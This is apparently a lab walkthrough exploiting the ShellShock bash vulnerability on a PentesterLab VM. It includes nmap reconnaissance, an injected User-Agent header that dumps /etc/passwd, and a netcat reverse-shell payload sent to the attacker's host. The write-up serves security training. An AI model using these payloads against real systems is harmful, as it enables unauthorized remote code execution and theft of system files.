Introduction
ShellShock is a vulnerability in which environmental variables of the bash shell could be used to perform remote code execution. This VM from PentestLabs tasks you with gaining a shell on the system by abusing the ShellShock vuln.
Attack
First step for us after setting up the VM is to scan the network and find it.
root@kali:~# netdiscover -i eth1
Currently scanning: 192.168.92.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:00 1 60 Unknown vendor
192.168.56.100 08:00:27:02:fd:51 1 60 PCS Systemtechnik GmbH
192.168.56.103 08:00:27:9b:76:f2 1 60 PCS Systemtechnik GmbH
Alright, our target is at 192.168.56.103
. Let’s do a port scan and see what services are available:
root@kali:~# nmap -sV -p- 192.168.56.103
Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-10 13:00 EST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.00010s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0 (protocol 2.0)
80/tcp open http Apache httpd 2.2.21 ((Unix) DAV/2)
MAC Address: 08:00:27:9B:76:F2 (Oracle VirtualBox virtual NIC)
We see that there is an Apache instance running on port 80. Let’s connect with our browser and see what is being served.
Interesting, it is showing us some information about the uptime and kernel version running on the server. This is dynamically-generated content. Why don’t we take a look at the traffic in Burp and see if there is any interceptable command request being fired.
Aha, we have a request being made to /cgi-bin/status. Some googling leads us to the likely purpose of the request.
Common Gateway Interface (CGI)
In computing, Common Gateway Interface (CGI) offers a standard protocol for web servers to execute programs that execute like Console applications (also called Command-line interface programs) running on a server that generates web pages dynamically. Such programs are known as CGI scripts or simply as CGIs. The specifics of how the script is executed by the server are determined by the server. In the common case, a CGI script essentially executes at the time a request is made and generates HTML.[1]
Some important details related to this vulnerability is that this CGI is written in bash. Another detail is that Apache uses environmental variables to pass headers to CGI scripts. And finally, bash can have internal function declaration in environmental variables. The vulnerability itself is that the vulnerable version of bash allowed for the execution of arbitrary commands after a function declaration.
So, in order to perform this attack, we need to modify one of the header values so that it declares an empty bash function. We concatenate another command on the end of that function declaration, and that command should be arbitrarily executed by the server when Apache stores the header as an environmental variable when the CGI is called. This output should be returned to us in the response headers. Let’s transition to throwing requests via a terminal so we can grab the response headers easily and try to pop /etc/passwd
.
echo -e "head /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: 192.168.56.103\r\nConnection: close\r\n\r\n" | nc 192.168.56.103 80
HTTP/1.1 200 OK
Date: Fri, 10 Mar 2017 19:00:40 GMT
Server: Apache/2.2.21 (Unix) DAV/2
root: x:0:0:root:/root:/bin/sh
lp: x:7:7:lp:/var/spool/lpd:/bin/sh
nobody: x:65534:65534:nobody:/nonexistent:/bin/false
tc: x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab: x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
Content-Length: 175
Connection: close
Content-Type: application/json
{ "uptime": " 19:00:40 up 1:45, 1 users, load average: 0.00, 0.01, 0.01", "kernel": "Linux vulnerable 3.14.1-pentesterlab #1 SMP Sun Jul 6 09:16:00 EST 2014 i686 GNU/Linux"}
Alright! We have remote code execution. Now let’s grab ourselves a shell
echo -e "head /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.102 4444 -e /bin/sh\r\nHost: 192.168.56.103\r\nConnection: close\r\n\r\n" | nc 192.168.56.103 80
And we have successfully pwn’d the box! This vulnerability is worryingly simple. It was discovered in 2014 and retroactive analysis of the Bash source code showed that the bug had existed since 1989…While the vector in this attack was through a bash-based CGI script handler, there are other vectors for Shellshock including
- OpenSSH
ForceCommand
on-login execution of environmental variableSSH_ORIGINAL_COMMAND
to upgrade a restricted shell to an unrestricted shell - DHCP client execution of payload string received from malicious DHCP Server
- Qmail server passage of external input
There is a test command that can be used to detect this initial version of the ShellShock vulnerability. Execution on vulnerable and secure hosts can be seen here.
Vulnerable
Safe
The vulnerability also went through multiple iterations before being completely patched out in 2014. All in all, a cool vulnerability and exploit!